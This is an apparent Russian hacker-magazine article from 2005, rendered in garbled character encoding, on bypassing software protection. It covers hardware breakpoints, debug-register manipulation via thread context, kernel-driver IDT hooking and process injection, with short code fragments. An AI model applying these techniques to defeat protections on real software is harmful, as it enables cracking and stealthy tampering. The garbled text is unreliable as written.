áðàçäû ïðàâëåíèÿ. Çâó÷èò ïðåêðàñíî,
íî ðàáîòàåò òîëüêî íà áóìàæíûõ ïðî-
öåññàõ. Â äèêèõ äæóíãëÿõ ðåàëüíîãî
äâîè÷íîãî êîäà òðàññèðîâêà óìèðàåò
åùå â óïàêîâùèêå/ïðîòåêòîðå. Ê òîìó
æå îíà î÷åíü ìåäëåííî ðàáîòàåò, ÷òî
òóò æå äåìàñêèðóåò àòàêó, íå ãîâîðÿ
óæå î òîì, ÷òî API-ôóíêöèè òðàññèðî-
âàòü íåëüçÿ è ïðèõîäèòñÿ ïðåäóñìàò-
ðèâàòü îáõîäíîé êîä, â ðåçóëüòàòå ÷å-
ãî òðàññèðîâùèê ðàçðàñòàåòñÿ äî ðàç-
ìåðîâ ñëîíà.

À ÷òî åñëè óñòàíîâèòü àïïàðàòíóþ
òî÷êó îñòàíîâà? Åñëè òîëüêî àòàêóå-
ìàÿ ïðîãðàììà íå ïðåäïðèìåò ñïåöè-
àëüíûõ óñèëèé (íàïðèìåð çàäåéñòâó-
åò âñå ÷åòûðå òî÷êè îñòàíîâà ïîä
ñîáñòâåííûå íóæäû), ýòîò ïðèåì ìî-
æåò íåïëîõî ñðàáîòàòü! Ïðîáëåìà â
òîì, ÷òî òî÷êà îñòàíîâà óñòàíàâëèâà-
åòñÿ íà ëèíåéíûé, à íå ôèçè÷åñêèé
àäðåñ, è ïîòîìó îáðàáîò÷èê îòëàäî÷-
íîãî èñêëþ÷åíèÿ (êîòîðîå ãåíåðèðó-
åòñÿ ïðè îáðàùåíèè ê ñîîòâåòñòâóþ-
ùåé ÿ÷åéêå ïàìÿòè) âîçáóæäàåòñÿ â
êîíòåêñòå äàííîãî ïðîöåññà. À ýòî
çíà÷èò, ÷òî äëÿ óñïåøíîé ðåàëèçàöèè
àòàêè ìû äîëæíû ïðîíèêíóòü â ÷óæîå
àäðåñíîå ïðîñòðàíñòâî.

Ýòî ìîæíî ñäåëàòü ñîçäàâ óäàëåí-
íûé ïîòîê, çà ÷òî îòâå÷àåò ôóíêöèÿ
CreateRemoteThread (â 9x îíà íå ðà-
áîòàåò, íî 9x - óæå ïî÷òè òðóï), èëè
âîñïîëüçîâàòüñÿ ñâÿçêîé
VirtualAllocEx/WriteProcessMemory.
Îáå òåõíîëîãèè äàâíî îòðàáîòàíû è
îïèñàíû â ñîòíÿõ õàêåðñêèõ ìàíóà-
ëîâ. Áîëüøèíñòâî òðîÿíîâ èìåííî òàê
è ðàáîòàåò. À âîò ýòî óæå íåõîðîøî.

Òåðÿåòñÿ ôàêòîð íîâèçíû, íåîæèäàí-
íîñòè è âíåçàïíîñòè. Ðàçðàáîò÷èêè
àíòèâèðóñîâ àêòèâíî ðàáîòàþò íàä
ñîçäàíèåì îðóæèÿ, ñðóáàþùåãî âíåä-
ðÿþùèéñÿ êîä åùå íà èçëåòå. Ê òîìó
æå âòîðæåíèå â ÷óæîå àäðåñíîå
ïðîñòðàíñòâî ìîæåò áûòü ðàñöåíåíî
êàê ìîäèôèêàöèÿ ïðèëîæåíèÿ â ïà-
ìÿòè. Þðèñòàì âåäü íå îáúÿñíèøü,
÷òî àâòîðñêèå ïðàâà ðàñïðîñòðàíÿþò-
ñÿ ëèøü íà îáðàç ïðèëîæåíèÿ íà äèñ-
êå/ïàìÿòè, íî îòíþäü íå íà àäðåñíîå
ïðîñòðàíñòâî öåëèêîì!

Â ïðèíöèïå, ìîæíî ðàçìåñòèòü îòëà-
äî÷íûé îáðàáîò÷èê â îáëàñòè ïàìÿòè,
ïðèíàäëåæàùåé îïåðàöèîííîé ñèñòå-
ìå, íàïðèìåð KERNEL32.DLL. Microsoft
äîâîëüíî ëîÿëüíî îòíîñèòñÿ ê òàêèì
ïðîäåëêàì, è åå ïðàêòèêóþò äîâîëüíî
ìíîãèå êîììåð÷åñêèå ïðîãðàììû, íî
çäåñü åñòü îäíî "íî". Âñå, ÷òî íàõî-
äèòñÿ íèæå àäðåñà 80000000h, ñîñ-
òîèò â ïðÿìîì âåäåíèè ïðèêëàäíîãî
ïðîöåññà è íà êàæäûé èç íèõ ïðîåöè-
ðóåòñÿ èíäèâèäóàëüíî. Òî åñòü åñëè
ìû èçìåíèì ïàðó áàéò â "ñâîåé" ïðî-
åêöèè KERNEL32.DLL, âñå îñòàëüíûå
ïðîöåññû íå óçíàþò îá ýòîì! À ýòî
çíà÷èò, ÷òî âíåäðåíèå îòëàäî÷íîãî
îáðàáîò÷èêà äîëæíî îñóùåñòâëÿòüñÿ
èç êîíòåêñòà àòàêóåìîãî ïðîöåññà,
ñëåäîâàòåëüíî, ìû äîëæíû âíåäðèòü-
ñÿ è ìîäèôèöèðîâàòü åãî! Çàìêíóòûé
êðóã? Íå ñîâñåì. Ìîæíî, ê ïðèìåðó,
ìîäèôèöèðîâàòü KERNEL32.DLL íà
äèñêå. Òåõíè÷åñêè ýòî âîçìîæíî (õîòÿ
è íåïðîñòî), íî... íàñ ñðàçó æå îáíàðó-
æàò! Ïåðâîé âîçìóòèòñÿ SFC (à ýòî
çíà÷èò, ÷òî åå ïðèäåòñÿ îòêëþ÷àòü),
çà íåé ïîòÿíóòñÿ àíòèâèðóñíûå ñòîðî-
æè, ðåâèçîðû, ìîíèòîðû è ïðî÷èå ñè-
ëîâûå ñòðóêòóðû. Íåò, ýòîò ìåòîä íå
ïîäõîäèò.

À ïî÷åìó áû íå çàãðóçèòü ñâîé
äðàéâåð è íå ðàçìåñòèòü îòëàäî÷íûé
îáðàáîò÷èê âíóòðè íåãî? Âåðõíÿÿ ïî-
ëîâèíà àäðåñíîãî ïðîñòðàíñòâà (îò
80000000h è âûøå) ïðîåöèðóåòñÿ íà
âñå ïðîöåññû. Ñþäà çàãðóæàåòñÿ
NTOSKRNL.EXE è äðàéâåðû, ñëåäîâà-
òåëüíî, íàø äðàéâåð áóäåò "âèäåí" èç
ëþáîãî ïðîöåññà. Áîëåå ýëåãàíòíîãî
è, ñàìîå ãëàâíîå, çàêîííîãî ñïîñîáà
âíåäðåíèÿ, ïîæàëóé, è íå ïðèäóìà-
åøü. Îò ïîáåäû è ôèíàëà íàñ îòäåëÿ-
åò òîëüêî îäíà ìàëåíüêàÿ ïðîáëåìà, à
èìåííî òî, ÷òî âåðõíÿÿ ïîëîâèíà àä-
ðåñíîãî ïðîñòðàíñòâà íåäîñòóïíà
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Ïî èäåå ðåãè-
ñòðû ïðîöåññî-
ðà íèêàêèì áî-
êîì íå îòíî-
ñÿòñÿ ê ïðèëî-
æåíèÿì, è èõ
èçìåíåíèå íå
íàðóøàåò ïðî-
ïèñàííûõ çà-
êîíîâ. Íî ïî-
ïðîáóé äîêà-
çàòü, ÷òî òû íå
âåðáëþä. Òåì
áîëåå ÷òî ñó-
äÿò ïî ðåçóëü-
òàòàì, à íå
ñðåäñòâàì èõ
äîñòèæåíèÿ.

Âñå îïèñàííîå
â ñòàòüå -
ïðîñòî èíôîð-
ìàöèÿ. Åñëè
ðåøèë ÷òî-òî
ïðîäåëàòü â
ðåàëå, âñåãäà
äóìàé î ïîñëå-
äñòâèÿõ äëÿ
ñâîåé çàäíèöû.

Ìîæíî ëîìàòü íå òîëüêî ïðîãðàììû, íî è ïðîöåññîðû

Â ñåìåéñòâå NT ïðèðîäà òî÷åê îñòàíîâà -
ñóãóáî ëîêàëüíàÿ. 



ïðèêëàäíûì ïðîöåññàì. Ïîïûòêà ïå-
ðåäà÷è óïðàâëåíèÿ òóò æå âîçáóæäà-
åò èñêëþ÷åíèå, íåèçáåæíîå, êàê âîñ-
õîä ñîëíöà. Ýòî è äåìîíñòðèðóåò ñëå-
äóþùàÿ ïðîãðàììà. Îíà ñêàíèðóåò àä-
ðåñíîå ïðîñòðàíñòâî è âûâîäèò àäðå-
ñà âñåõ ñòðàíèö, ê êîòîðûì åñòü äîñ-
òóï íà èñïîëíåíèå. Íè îäíîé ñòðàíè-
öû âûøå 80000000h çäåñü íå îáíà-
ðóæèâàåòñÿ.

#include <windows.h>
#include <stdio.h>
main()
{

unsigned int p = 0x00001000;
// íà÷àëüíûé àäðåñ

while(p) { // ìîòàåì öèêë ïî âñåìó ìÿñîêîìáèíàòó

// âûâîäèì àäðåñà âñåõ ñòðàíèö, ê êîòîðûì
// åñòü äîñòóï íà èñïîëíåíèå

if (!IsBadCodePtr(p)) printf("%08Xh ",p);

// ïåðåìåùàåìñÿ íà ñëåäóþùóþ ñòðàíèöó
p+=0x1000;

} 
}

Õîòÿ... Íà íóëåâîì êîëüöå (íàø
äðàéâåð èñïîëíÿåòñÿ èìåííî òàì)
ìîæíî òâîðèòü âñå ÷òî óãîäíî. Ñîòâî-
ðèòü Àäàìà âðÿä ëè ïîëó÷èòñÿ (ñ èñ-
êóññòâåííûì èíòåëëåêòîì ïðîãðåññ
çàñòðÿë íà óðîâíå äîæäåâîãî ÷åðâÿ),
íî îòêëþ÷èòü çàùèòó ìû ñìîæåì.
Ïðàâäà, ýòî áóäåò ñëèøêîì çàìåòíîå,

óðîäëèâîå è ê òîìó æå íåáåçîïàñíîå
ðåøåíèå. Çàùèòà óñòàíîâëåíà íà
âåðõíþþ ïîëîâèíó ïàìÿòè íå äàðîì.
Îíà íå ïîçâîëÿåò ïðèëîæåíèÿì âõî-
äèòü â ðàçíîñ, è õîòÿ îïåðàöèîííàÿ
ñèñòåìà ñïîêîéíî ïðîæèâåò è áåç íåå,
ýòî áóäåò ñïëîøíîå âàðâàðñòâî. 

Ïðîâåäåì ïðîñòîé ýêñïåðèìåíò - íà-
ïèøåì ïðîãðàììó, êîòîðàÿ ïåðåäàåò
óïðàâëåíèå êóäà-òî â ãëóáèíó ÿäðà, è
ïîñìîòðèì, ÷òî ïðîèñõîäèò ïðè ýòîì.

#include <stdio.h>

main()
{

char *p;
// ïðîèçâîëüíûé àäðåñ â âåðõíåé ïîëîâèíå
// àäðåñíîãî ïðîñòðàíñòâà
p = (char *)0xBE0FAC69;

// ïåðåäà÷à óïðàâëåíèÿ íà p
// (êîíå÷íî, ýòî ìîæíî áûëî ñäåëàòü è íà Ñ,
// íî íà àñìå êðó÷å)
__asm {

mov ebx,[p]
jmp ebx

}
}

Êàê è ñëåäîâàëî îæèäàòü, ìû ïîëó-
÷àåì èñêëþ÷åíèå òèïà "îøèáêà äîñòó-
ïà", è óïðàâëåíèå ïåðåäàåòñÿ íå íà
ÿäðî, à íà îáðàáîò÷èê ñòðóêòóðíîãî
èñêëþ÷åíèÿ, îí æå SEH � Structured
exception handling (ïîèñê ïî îäíîè-
ìåííîìó êëþ÷åâîìó ñëîâó â MSDN
èëè èíòåðíåòå âûäàåò î÷åíü ìíîãî
èíòåðåñíîãî). Ó êàæäîãî ïðîöåññà
èìååòñÿ êàê ìèíèìóì îäèí ñòðóêòóð-
íûé îáðàáîò÷èê, óñòàíàâëèâàåìûé
îïåðàöèîííîé ñèñòåìîé. Îí âûâîäèò
ïðåñëîâóòîå ñîîáùåíèå î êðèòè÷åñ-
êîé îøèáêå íà ýêðàí è çàâåðøàåò
ïðèëîæåíèå. Ïðîãðàììèñò ìîæåò óñ-
òàíàâëèâàòü è ñâîè îáðàáîò÷èêè, ïå-
ðåõâàòûâàþùèå èñêëþ÷åíèÿ è òåì
èëè èíûì îáðàçîì îáðàáàòûâàþùèå
êðèòè÷åñêóþ ñèòóàöèþ. Ê ñîæàëåíèþ,
âñå îíè âûïîëíÿþòñÿ â êîíòåêñòå äàí-
íîãî ïðîöåññà, ïðî ñëîæíîñòè âíåäðå-
íèÿ â àäðåñíîå ïðîñòðàíñòâî êîòîðî-
ãî ìû òîëüêî ÷òî ãîâîðèëè. Òóïèê? 

Âîâñå íåò! Íà ñàìîì äåëå SEH ïîëó-
÷àåò óïðàâëåíèå â ïîñëåäíþþ î÷å-
ðåäü, êîãäà áàë îêîí÷åí, çàêóñêà ñúå-
äåíà, à äåâóøêè âûòâîðÿþò âåñü SEH,
íà êîòîðûé òîëüêî ñïîñîáíî íàøå âî-
îáðàæåíèå. Ïðè âîçíèêíîâåíèè èñê-
ëþ÷åíèÿ ïðîöåññîð àâòîìàòè÷åñêè
ïåðåõîäèò â ðåæèì ÿäðà è ïåðåäàåò
óïðàâëåíèå îïåðàöèîííîé ñèñòåìå,
òî÷íåå, òîìó ñàìîìó êîäó, íà êîòîðûé
óêàçûâàåò ñîîòâåòñòâóþùèé ýëåìåíò
òàáëèöû ïðåðûâàíèé (IDT - Interrupt
Description Table). Ëþáîé äðàéâåð ìî-
æåò áåççàñòåí÷èâî ìîäèôèöèðîâàòü
ñîäåðæèìîå IDT ïî ñâîåìó óñìîòðå-
íèþ, ïåðåõâàòûâàÿ âñå ïðåðûâàíèÿ,
êîòîðûå åìó íóæíû. Òåõíèêà ïåðåõâà-
òà ïîäðîáíî îïèñàíà â ëþáîé êíèãå,
ïîñâÿùåííîé ïðîãðàììèðîâàíèþ â
çàùèùåííîì ðåæèìå. Ê ïðèìåðó â
ó÷åáíèêå Þðîâà, êîòîðûé òàê è íàçû-

S
E

C
U

R
I

T
Y

-
Ô

Î
Ê

Ó
Ñ

Û

ÕÀÊÅÐÑÏÅÖ  09(58) 2005

Ëþáîé äðàéâåð
ìîæåò ìîäè-
ôèöèðîâàòü
ñîäåðæèìîå
òàáëèöû ïðå-
ðûâàíèé IDT.

Îòêëþ÷èòü çà-
ùèòó ìîæíî
÷åðåç äðàéâåð,
òàê êàê îí èñ-
ïîëíÿåòñÿ íà
íóëåâîì êîí-
öå, ÷òî è òðå-
áóåòñÿ.

Ñòðàíèöû ïàìÿòè, äîñòóïíûå íà èñïîëíåíèå

Ïîñëåäñòâèÿ îáðàùåíèÿ ê ÿäðó èç ïðèêëàäíîãî ðåæèìà

STEALTH PATCHING ÑÂÎÈÌÈ ÐÓÊÀÌÈ52 ÊËÈÅÍÒ

Êëèåíòñêîå ïðèëîæåíèå, ðàáîòàþùåå 
íà ïðèêëàäíîì óðîâíå, íåèçáåæíî

îáðå÷åíî íà ïîðàæåíèå.



âàåòñÿ - "Àññåìáëåð - ó÷åáíèê". Åùå
åñòü Çóáêîâ, Ãóê è èçâåñòíàÿ ðàññûë-
êà Êàëàøíèêîâà.

Ãëàâíîå, ÷òî ðåøèòü íàøó çàäà÷ó
âñå-òàêè âîçìîæíî. Íåñìîòðÿ íà òî,
÷òî âåðõíÿÿ ïîëîâèíà àäðåñíîãî
ïðîñòðàíñòâà íåäîñòóïíà ïðèêëàäíûì
ïðîöåññàì, àïïàðàòíàÿ òî÷êà îñòàíî-
âà âñå-òàêè ïåðåäàåò óïðàâëåíèå îá-
ðàáîò÷èêó, ïðè÷åì íà ïðèêëàäíîì
óðîâíå ýòî ïðîòåêàåò íåçàìåòíî è äî
SEH'à äåëî ïðîñòî íå äîõîäèò. Âîò òà-
êèå ïðåâðàòíîñòè òàÿò â ñåáå ìåòà-
ìîðôîçû ïðîãðàììèðîâàíèÿ â çàùè-
ùåííîì ðåæèìå.

Èäåì äàëüøå. Ëèíåéíûé àäðåñ òî÷-
êè îñòàíîâà õðàíèòñÿ â ðåãèñòðàõ Dr0-
Dr3. Îá ýòîì ðàññêàçûâàåò "ôèðìåí-
íàÿ" äîêóìåíòàöèÿ îò Intel è AMD, à
ìîÿ "Òåõíèêà è ôèëîñîôèÿ õàêåðñêèõ
àòàê" ñîäåðæèò èñõîäíûé êîä ïåðåõ-
âàò÷èêà ñî âñåìè êîììåíòàðèÿìè.
Êñòàòè, ýëåêòðîííóþ âåðñèþ ìîæíî
áåñïëàòíî óòÿíóòü ñ ìîåãî ïåðñîíàëü-
íîãî ftp-ñåðâåðà (ïîäðîáíîñòè âî
âðåçêå). 

Â ñåìåéñòâå NT ïðèðîäà òî÷åê îñòà-
íîâà - ñóãóáî ëîêàëüíî. Êàæäûé ïðî-
öåññ âëàäååò ñâîèì íàáîðîì ðåãèñò-
ðîâ Dr0-Dr3, è õîòÿ êîëè÷åñòâî òî÷åê
îñòàíîâà îò ýòîãî íå óâåëè÷èâàåòñÿ,
îíè ñðàáàòûâàþò òîëüêî â êîíòåêñòå
òîãî ïðîöåññà, â êîòîðîì áûëè óñòà-
íîâëåíû. Åëêè-ïàëêè, îïÿòü ýòîò êîí-
òåêñò! Íè îäíî íà÷èíàíèå áåç íåãî íå
îáõîäèòñÿ. Òàêîâà ïðèðîäà ìíîãîçà-
äà÷íîé NT, à ïðîòèâ íåå íå ïîïðåøü.
Â 9x âñå ïðîùå: òî÷êè îñòàíîâà íîñÿò
ãëîáàëüíûé õàðàêòåð, ðàñïðîñòðàíÿþ-

ùèéñÿ íà âñå ïðîöåññû, ÷òî îäíîâðå-
ìåííî õîðîøî è ïëîõî. Õîðîøî ïîòî-
ìó, ÷òî äëÿ óñòàíîâêè òî÷åê îñòàíîâà
íå íóæíî ëåçòü â ÷óæîé ïðîöåññ, à
ïëîõî ïîòîìó, ÷òî òî÷êè îñòàíîâà ñðà-
áàòûâàþò â êàæäîì ïðîöåññå è îáðà-
áîò÷èêó ïðèõîäèòñÿ êàæäûé ðàç ðàç-
áèðàòüñÿ, êòî åñòü êòî è êóäà.

Ê ñ÷àñòüþ, â íàøåì ðàñïîðÿæåíèè
åñòü äâå ìîùíûõ ôóíêöèè
GetThreadContext è SetThreadContext.
Ïåðâàÿ ÷èòàåò êîíòåêñò ïîòîêà, âòî-

ðàÿ, ñîîòâåòñòâåííî, óñòàíàâëèâàåò. Â
îáùèõ ÷åðòàõ àëãîðèòì âûãëÿäèò òàê:
îïðåäåëÿåì PID íóæíîãî ïðîöåññà (à
îïðåäåëèòü åãî ìîæíî ñ ïîìîùüþ âû-
çîâîâ TOOLHELP32, î êîòîðûõ ðàñ-
ñêàçûâàåòñÿ â ëþáîì õàêåðñêîì FAQ,
èëè ñ ïîìîùüþ íè÷óòü íå ìåíåå èçâå-
ñòíîé íåäîêóìåíòèðîâàííîé ôóíêöèè
ZwQueryInformationProcess, îïèñàí-
íîé òàì æå). Ïîëó÷åííûé PID ïåðåäà-
åòñÿ ôóíêöèè
CreateToolhelp32Snapshot, ñîçäàþùåé
ñïèñîê ïðîöåññà ñî âñåìè åãî ïîòîêà-
ìè, ðàçáîðîì êîòîðûõ çàíèìàþòñÿ
ôóíêöèè Thread32First/Thread32Next
(ðàáîòàþò ïî ïðèíöèïó èçâåñòíîé ïà-
ðî÷êè FindFirstFile/FindNextFile).

Ïåðâûé ïîòîê, êàê ïðàâèëî, è ÿâëÿ-
åòñÿ îñíîâíûì, îäíàêî â íåêîòîðûõ
ñëó÷àÿõ ýòî íå òàê, íî ýòî óæå äåòàëè.
Êàê áû òàì íè áûëî, èäåíòèôèêàòîð
ïîòîêà ïåðåäàåòñÿ ôóíêöèè
OpenThread. ×òî çà OpenThread? Íåò
êàêîé ôóíêöèè! OpenProcess åñòü, à
OpenThread êîíñòðóêòèâíî íå ïðåäóñ-
ìîòðåíà. Êàæäûé ïðîãðàììèñò ýòî
çíàåò! Äîñòàòî÷íî âçÿòü â ðóêè äîêó-
ìåíòàöèþ è ïðî÷èòàòü. Íî äîêóìåíòà-
öèþ õàêåðû ÷èòàþò â ïîñëåäíþþ î÷å-
ðåäü (åñëè íè÷åãî íå ïîìîãàåò, ïðî÷-
òè, íàêîíåö, äîêóìåíòàöèþ), à ïåðåä
ýòèì ïðîñòî âûçûâàþò ôóíêöèè íàî-
áóì :) èëè, íà õóäîé êîíåö, ëåçóò â
MSDN çà Knowledge Base, â êîòîðîé
íåäâóñìûñëåííî ñêàçàíî, ÷òî ôóíê-
öèÿ OpenThread âñå-òàêè åñòü. Îíà
÷åñòíî ýêñïîðòèðóåòñÿ
KERNEL32.DLL, íî â SDK è çàãîëîâî÷-
íûå ôàéëû íå âêëþ÷åíà. Òàê çàõîòå-
ëîñü êàêîìó-òî ìåíåäæåðó èç
Microsoft. Ìîæåò, ó íåãî íàñòðîåíèå
áûëî ïëîõîå èëè æåíà çàáîëåëà, à òóò
åùå OpenThread'û âñÿêèå... Çàìåòêà
ïîä íîìåðîì Q121093 ("Points to
Remember When Writing a Debugger
for Win32s"), äàòèðóåìàÿ çàñòîéíûì
1997 ãîäîì, îá ýòîì êîíêðåòíî è ãîâî-
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Çàêîí æèçíè:
÷åì àêòèâíåå
ñîâåðøåíñòâó-
þòñÿ çàùèò-
íûå ñèñòåìû,
òåì àêòèâíåå
èõ íà÷èíàþò
ëîìàòü.

Ñìîòðè
WINNT.H, åñëè
íóæíà ñòðóêòó-
ðà CONTEXT.

Ìûùúõ ïîäíÿë ýêñïåðèìåíòàëüíûé ftp-ñåðâåð, ðàçäàþùèé ñâîè
çàíà÷êè â ýëåêòðîííîì âèäå.

IP-àäðåñ: 83.239.33.46 (äîìåííîãî èìåíè ïîêà íåò)
Ïîðò: 21 (ñòàíäàðòíûé)
Ëîãèí: xakep
Ïàðîëü: xakep
Ïàïêà: /pub

Ïðèáëèçèòåëüíîå âðåìÿ ðàáîòû: ñ 14:00 äî 06:00 (ìûùúõ - íî÷íîé
çâåðü). Ïðè âîçíèêíîâåíèè ïðîáëåì ðåêîìåíäóåòñÿ óñòàíîâèòü
ïàññèâíûé ðåæèì ftp-êëèåíòà. Íèêàêèõ îãðàíè÷åíèé íà êîëè÷åñòâî
ïîäêëþ÷åíèé íåò. Êàíàë - 500 ìåãàáèò, òàê ÷òî íàëåãàéòå. Òîëüêî
íå âñå ñðàçó ;). Áàíîâ íå ñòàâÿò: ìûùúõ - äîáðûé ñèñîï :).

ÍÎÐÀ ÌÛÙÚÕ'À

Ïîèñê â MSDN ïî êëþ÷åâîìó ñëîâó OpenThread âûäàåò ïàðó èíòåðåñíûõ ñòàòåé



ðèò. Òàê ÷òî æàëîâàòüñÿ íà çàêðû-
òîñòü èíôîðìàöèè íå ïðèõîäèòñÿ.

Ôóíêöèÿ ïðèíèìàåò åäèíñòâåííûé
àðãóìåíò - èäåíòèôèêàòîð ïîòîêà, à
âîçâðàùàåò åãî äåñêðèïòîð èëè ãîëè-
ìûé íîëü, åñëè ñ îòêðûòèåì ïðîèñõî-
äèò îáëîì (íàïðèìåð, íåäîñòàòî÷íî
ïðàâ). Ìåíÿòü ñîäåðæèìîå êîíòåêñòà
íà õîäó íåäîïóñòèìî (ýòî âñå ðàâíî
÷òî ïåðåáåãàòü ñêîðîñòíóþ àâòîìàãè-
ñòðàëü íà êðàñíûé ñâåò), ïîýòîìó ïî-
òîê ïåðåä èçìåíåíèåì íåîáõîäèìî çà-
òîðìîçèòü ôóíêöèåé SuspendThread.
Òîãäà ìîæíî âûçûâàòü
GetThreadContext ñ ôëàãîì CON-
TEXT_FULL è ÷èòàòü êîíòåêñò, îðãàíè-
çîâàííûé â âèäå îäíîèìåííîé ñòðóê-
òóðû CONTEXT. Çäåñü îïÿòü âîçíèêà-
þò ñëîæíîñòè. Platform SDK íå ïðèâî-
äèò íèêàêîé èíôîðìàöèè î
CONTEXT'å, ìîòèâèðóÿ ýòî òåì, ÷òî ðà-
áîòàòü ñ êîíòåêñòîì íà íèçêîì óðîâíå
íèêîìó íå íóæíî: îí äå íåäîêóìåíòè-
ðîâàí è íà êàæäîé ïëàòôîðìå ðåàëè-
çîâàí ïî-ñâîåìó� Íà ñàìîì äåëå ñó-
ùåñòâóåò òîëüêî îäíà ïëàòôîðìà -
INTEL, à âñå îñòàëüíîå - ýêçîòèêà.
Ìàðêåòîèäû ìîãóò ãîâîðèòü ÷òî óãîä-
íî è ãðîìîçäèòü îäèí óðîâåíü
àáñòðàêöèè ïîâåðõ äðóãîãî, íî ïðîã-
ðàììèñòîâ íà ýòîì íå ïðîâåäåøü!
Ðàçðàáîò÷èêè Windows ïðåêðàñíî ïî-
íèìàëè, ÷òî áåç ðàáîòû ñ ðåãèñòðàìè
íè îäíà ñèñòåìíàÿ ïðîãðàììà âñå ðàâ-
íî íå îáõîäèòñÿ, è ïîäàðèëè íàì çà-
ìå÷àòåëüíûé ôàéë WINNT.H, âõîäÿ-
ùèé â ñîñòàâ Platform SDK è ñîäåðæà-
ùèé îïðåäåëåíèÿ ìíîãèõ íåäîêóìåí-
òèðîâàííûõ ñòðóêòóð (è ñòðóêòóðû

CONTEXT â òîì ÷èñëå) ñ áîëåå-ìåíåå
ïîäðîáíûìè êîììåíòàðèÿìè.

Ìîäèôèöèðîâàâ ðåãèñòðû ïðîöåññî-
ðà ïî ñâîåìó óñìîòðåíèþ, ìû âûçûâà-
åì ôóíêöèþ GetThreadContext è ðàç-
ìîðàæèâàåì ïîòîê ñ ïîìîùüþ
ResumeThread. Âñå! Òåïåðü íàø õàêå-
ðñêèé îáðàáîò÷èê âîññòàíàâëèâàåò
IDT â ïðåæíèé âèä è ñàìîëèêâèäèðó-
åòñÿ, âûãðóæàÿ äðàéâåð èç ïàìÿòè. Â
óïðîùåííîì âèäå ýòî ïðîèñõîäèò òàê:

// ïîëó÷àåì äåñêðèïòîð ïîòîêà,
// âûçûâàÿ íåäîêóìåíòèðîâàííóþ ôóíêöèþ
OpenThread
hThread = OpenThread(Id); if (!hThread) return;

// äàåì ïîòîêó íàðêîç
SuspendThread(hThread);

// ãîâîðèì, ÷òî íàì íóæåí ïîëíûé êîíòåêñò
// ñî âñåìè êèøêàìè îòëàäî÷íûõ ðåãèñòðîâ
Context.ContextFlags = CONTEXT_FULL;

// èçâëåêàåì êîíòåêñò èç íåäð ïîòîêà
GetThreadContext(hThread, Context);

�
// ìîäèôèöèðóåì îòëàäî÷íûå ðåãèñòðû ñåìåéñòâà
Drx,
// óñòàíàâëèâàÿ àïïàðàòíóþ òî÷êó îñòàíîâà íà õàêàå-
ìûé êîä
�

// èìïëàíòèðóåì îáíîâëåííûé êîíòåêñò îáðàòíî â ïî-
òîê
SetThreadContext(hThread, Context);

// ïðîáóæäàåì ïîòîê

ResumeThread(hThread);

Îãðîìíûé ìèíóñ ýòîé òåõíîëîãèè â
òîì, ÷òî îíà ñëèøêîì çàìåòíà, ê òîìó
æå ïîòîê ìîæåò çàïðîñòî çàùèòèòüñÿ
îò GetThreadContext, íî íà ýòîò ñëó-
÷àé â íàøåì õàêåðñêîì áàðäà÷êå åñòü
îòäåëüíûé ñòðàòåãè÷åñêèé ïëàí.

Êàê èçâåñòíî, KERNEL32.DLL ñîäåð-
æèò ëèøü âûñîêîóðîâíåâûå "îáåðò-
êè" ðåàëüíûõ ATP-ôóíêöèé, âåäóùèõ
ê î÷åðåäíîé "îáåðòêå" â ëèöå
NTDLL.DLL. Ðåàëüíûé êîä ñîñðåäîòî-
÷åí â NTOSKRNL.EXE - ïîäëèííîì ÿä-
ðå îïåðàöèîííîé ñèñòåìû, êîòîðîå
ïðîæèâàåò â âåðõíåé ïîëîâèíå àäðåñ-
íîãî ïðîñòðàíñòâà. ßäåðíûå ôóíêöèè
âñåãäà èñïîëíÿþòñÿ â ÷üåì-òî êîíòå-
êñòå, êîòîðûé â îáùåì ñëó÷àå ÿâëÿåò-
ñÿ êîíòåêñòîì ïðîöåññà, âûçûâàâøå-
ãî òó èëè èíóþ API-ôóíêöèþ. Ïðîöåñ-
ñîâ, íå âûçûâàþùèõ íèêàêèõ API-
ôóíêöèé, â ïðèðîäå íå âñòðå÷àåòñÿ.
Äàæå åñëè ïðîöåññ ñîñòîèò èç îäíîãî
ëèøü return (êñòàòè, Windows 2000 îò-
êàçûâàåòñÿ ãðóçèòü ôàéëû áåç èì-
ïîðòà KERNEL32.DLL), îïðåäåëåííàÿ
÷àñòü êîäà ñèñòåìíîãî çàãðóç÷èêà èñ-
ïîëíÿåòñÿ â êîíòåêñòå çàãðóæàåìîãî
ïðîöåññà è âûçûâàåò ìíîæåñòâî
ÿäåðíûõ ôóíêöèé. Êîðî÷å, çàãðóçèòü
ïðîöåññ, íå ïîòðåâîæèâ ÿäðà, ïðàêòè-
÷åñêè íåðåàëüíî (ðàçâå ÷òî çàãðó-
æàòü åãî íà âèðòóàëüíîé ìàøèíå). À
ýòî çíà÷èò, ÷òî ðåãèñòðû Drx ìîãóò
áûòü óñòàíîâëåíû ïðÿìî èç ÿäðà áåç
îáðàùåíèÿ ê API-ôóíêöèÿì
GetThreadContext è SetThreadContext!
Îòñëåäèòü ýòè ìàõèíàöèè ïðàêòè÷åñêè
íåðåàëüíî!

Äëÿ îñóùåñòâëåíèÿ çàäóìàííîãî òû
äîëæåí ïåðåõâàòèòü îäíó èëè íåñ-
êîëüêî ÿäðåíûõ ôóíêöèé, âûçûâàå-
ìûõ èç êîíòåêñòà àòàêóåìîãî ïðîöåñ-
ñà åùå äî òîãî, êàê çàùèòíûé ìåõà-
íèçì ïîëó÷èò óïðàâëåíèå (ïîñëå óæå
áóäåò ïîçäíî). Ýòèì óñëîâèÿì îòâå÷à-
åò ôóíêöèÿ ZwCreateFile, õîòÿ, åñëè
çàùèùåííûé êîä ðàñïîëîæåí â ñà-
ìîì íà÷àëå ïðèëîæåíèÿ, îíà íàì íè-
÷åì íå ïîìîæåò è ïîòðåáóåòñÿ âñòðàè-
âàòüñÿ â çàãðóç÷èê PE-ôàéëîâ, ÷òî
íåñêîëüêî òðóäíåå, òàê ÷òî îñòàâèì
âñå ÷àñòíîñòè çà ðàìêàìè ðàçãîâîðà è
âåðíåìñÿ ê ZwCreateFile.

Äèçàññåìáëåðíûé ëèñòèíã áóäåò
âûãëÿäåòü ïðèáëèçèòåëüíî òàê (åñòå-
ñòâåííî, ëèíåéíûé àäðåñ ôóíêöèè â
ïàìÿòè áóäåò ñîâñåì äðóãèì, íî åãî
ëåãêî îïðåäåëèòü ïî òàáëèöå ýêñïîð-
òà, òàê êàê NTOSKRNL.EXE - ýòî ôàêòè-
÷åñêè îáûêíîâåííûé èñïîëíÿåìûé
ôàéë):

text:0042FC00 ZwCreateFile proc near
; CODE XREF: sub_49D192+4Dvp

